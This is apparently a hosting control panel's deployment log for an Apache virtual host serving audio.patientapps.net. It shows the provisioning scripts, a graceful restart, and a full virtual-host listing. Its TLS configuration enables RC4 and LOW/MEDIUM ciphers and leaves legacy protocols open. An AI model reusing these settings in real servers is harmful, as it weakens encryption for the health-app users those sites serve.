    SSLCertificateFile	/etc/ssl/certs/40d152ed4fc15024fe57db1999e289aa.crt
    DocumentRoot	/var/www/patientapps_audio
    <Directory /var/www/patientapps_audio>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/audio_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/audio_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php index.py
</VirtualHost>






2026-02-01 12:19:55: 

PUT: /tmp/pkp640880

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=patientapps_audio_net.conf
TARGET=/etc/apache2/sites-enabled/patientapps_audio_net.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	audio.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_audio
    <Directory /var/www/patientapps_audio>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/audio_access.log combined
    ErrorLog	/var/log/apache2/patientapps/audio_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php7.3-sii.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	audio.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/40d152ed4fc15024fe57db1999e289aa.crt
    DocumentRoot	/var/www/patientapps_audio
    <Directory /var/www/patientapps_audio>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/audio_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/audio_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php index.py
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/patientapps_audio_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/patientapps_audio_net.conf)= /etc/apache2//etc/apache2/sites-enabled/patientapps_audio_net.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/patientapps_audio_net.conf= 1'
fi


2026-02-01 12:19:55: 

chmod 755 /tmp/pkp640880; /tmp/pkp640880; rm /tmp/pkp640880

2026-02-01 12:19:55: 




2026-02-01 12:19:55: 

PUT: /tmp/pkp936654

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-02-01 12:19:55: 

chmod 755 /tmp/pkp936654; /tmp/pkp936654; rm /tmp/pkp936654

2026-02-01 12:19:55: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-02-01 12:19:55: Establishing a connection
2026-02-01 12:19:55: 

PUT: /tmp/pkp398189

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-02-01 12:19:56: 

chmod 755 /tmp/pkp398189; /tmp/pkp398189; rm /tmp/pkp398189

2026-02-01 12:19:56: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
                 alias myapp.care
         port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
         port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
                 alias www.cn-dego.myapp.care
         port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
                 alias www.d-oak.myapp.care
         port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
                 alias www.ma1-acrp.myapp.care
         port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
                 alias www.ma1-anfr.myapp.care
         port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
         port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
                 alias www.ma1-anin.myapp.care
         port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
                 alias www.ma1-ankp.myapp.care
         port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
                 alias www.ma1-anrp.myapp.care
         port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
                 alias www.ma1-arcr.myapp.care
         port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
                 alias www.ma1-asst.myapp.care
         port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
                 alias www.ma1-chel.myapp.care
         port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
                 alias www.ma1-cybb.myapp.care
         port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
         port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
                 alias www.ma1-epas.myapp.care
         port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
                 alias www.ma1-fass.myapp.care
         port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
         port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
         port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
                 alias www.ma1-ldhr.myapp.care
         port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
                 alias www.ma1-lsst.myapp.care
         port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
                 alias www.ma1-mtfp.myapp.care
         port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
                 alias www.ma1-mvrc.myapp.care
         port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
                 alias www.ma1-octf.myapp.care
         port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
         port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
                 alias www.ma1-ovin.myapp.care
         port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
                 alias www.ma1-pfer.myapp.care
         port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
                 alias www.ma1-prls.myapp.care
         port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
                 alias www.ma1-rcl.myapp.care
         port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
         port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
                 alias www.ma1-rorp.myapp.care
         port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
                 alias www.ma1-savr.myapp.care
         port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
                 alias www.ma1-shem.myapp.care
         port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
                 alias www.ma1-sspr.myapp.care
         port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
                 alias www.ma1-tosr.myapp.care
         port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
         port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
                 alias www.ma1-tylo.myapp.care
         port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
                 alias www.ma1-typa.myapp.care
         port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
                 alias www.ma1-tyto.myapp.care
         port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
                 alias www.ma1-utfa.myapp.care
         port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
                 alias www.ma1-vasc.myapp.care
         port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
                 alias www.ma1-vasr.myapp.care
         port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
                 alias www.ma2-acrp.myapp.care
         port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
                 alias www.ma2-anar.myapp.care
         port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
                 alias www.ma2-anfr.myapp.care
         port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
         port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
                 alias www.ma2-anin.myapp.care
         port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
                 alias www.ma2-anrp.myapp.care
         port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
                 alias www.ma2-buni.myapp.care
         port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
                 alias www.ma2-chel.myapp.care
         port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
                 alias www.ma2-hamm.myapp.care
         port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
                 alias www.ma2-hind.myapp.care
         port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
                 alias www.ma2-lcl.myapp.care
         port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
                 alias www.ma2-mdfu.myapp.care
         port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
                 alias www.ma2-mtfp.myapp.care
         port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
                 alias www.ma2-rcl.myapp.care
         port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
         port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
                 alias www.pai-lc.myapp.care
         port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
                 alias www.pai-rco.myapp.care
         port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
                 alias www.sma1-lgb.myapp.care
         port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
                 alias www.sma1-lrygb.myapp.care
         port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
                 alias www.sma1-lsg.myapp.care
         port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
                 alias www.sma1-pcnl.myapp.care
         port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
                 alias www.test.myapp.care
         port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
         port 80 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:2)
         port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
         port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
         port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
         port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
                 alias live.patientapps.net
         port 80 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:2)
         port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
         port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
         port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
                 alias www.patientapps.net
         port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
*:443                  is a NameVirtualHost
         default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
         port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
                 alias myapp.care
         port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
         port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
                 alias www.cn-dego.myapp.care
         port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
                 alias www.d-oak.myapp.care
         port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
                 alias www.ma1-acrp.myapp.care
         port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
                 alias www.ma1-anfr.myapp.care
         port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
         port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
                 alias www.ma1-anin.myapp.care
         port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
                 alias www.ma1-ankp.myapp.care
         port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
                 alias www.ma1-anrp.myapp.care
         port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
                 alias www.ma1-arcr.myapp.care
         port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
                 alias www.ma1-asst.myapp.care
         port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
                 alias www.ma1-chel.myapp.care
         port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
                 alias www.ma1-cybb.myapp.care
         port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
                 alias www.ma1-dego.myapp.care
         port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
                 alias www.ma1-epas.myapp.care
         port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
                 alias www.ma1-fass.myapp.care
         port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
         port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
         port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
                 alias www.ma1-ldhr.myapp.care
         port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
                 alias www.ma1-lsst.myapp.care
         port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
                 alias www.ma1-mtfp.myapp.care
         port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
                 alias www.ma1-mvrc.myapp.care
         port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
                 alias www.ma1-octf.myapp.care
         port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
         port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
                 alias www.ma1-ovin.myapp.care
         port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
                 alias www.ma1-pfer.myapp.care
         port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
                 alias www.ma1-prls.myapp.care
         port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
                 alias www.ma1-rcl.myapp.care
         port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
         port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
                 alias www.ma1-rorp.myapp.care
         port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
                 alias www.ma1-savr.myapp.care
         port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
                 alias www.ma1-shem.myapp.care
         port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
                 alias www.ma1-sspr.myapp.care
         port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
                 alias www.ma1-tosr.myapp.care
         port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
         port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
                 alias www.ma1-tylo.myapp.care
         port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
                 alias www.ma1-typa.myapp.care
         port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
                 alias www.ma1-tyto.myapp.care
         port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
                 alias www.ma1-utfa.myapp.care
         port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
                 alias www.ma1-vasc.myapp.care
         port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
                 alias www.ma1-vasr.myapp.care
         port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
                 alias www.ma2-acrp.myapp.care
         port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
                 alias www.ma2-anar.myapp.care
         port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
                 alias www.ma2-anfr.myapp.care
         port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
         port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
                 alias www.ma2-anin.myapp.care
         port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
                 alias www.ma2-anrp.myapp.care
         port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
                 alias www.ma2-buni.myapp.care
         port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
                 alias www.ma2-chel.myapp.care
         port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
                 alias www.ma2-hamm.myapp.care
         port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
                 alias www.ma2-hind.myapp.care
         port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
                 alias www.ma2-lcl.myapp.care
         port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
                 alias www.ma2-mdfu.myapp.care
         port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
                 alias www.ma2-mtfp.myapp.care
         port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
                 alias www.ma2-rcl.myapp.care
         port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
         port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
                 alias www.pai-lc.myapp.care
         port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
                 alias www.pai-rco.myapp.care
         port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
                 alias www.sma1-lgb.myapp.care
         port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
                 alias www.sma1-lrygb.myapp.care
         port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
                 alias www.sma1-lsg.myapp.care
         port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
                 alias www.sma1-pcnl.myapp.care
         port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
                 alias www.test.myapp.care
         port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
         port 443 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:24)
         port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
         port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
         port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
         port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
                 alias live.patientapps.net
         port 443 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:23)
         port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
         port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
         port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
                 alias www.patientapps.net
         port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:29)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-02-01 12:19:56: 

PUT: /tmp/pkp174719

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/patientapps_audio_net.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-01 12:19:56: 

chmod 755 /tmp/pkp174719; /tmp/pkp174719; rm /tmp/pkp174719

2026-02-01 12:19:56: 
(gzipped output)


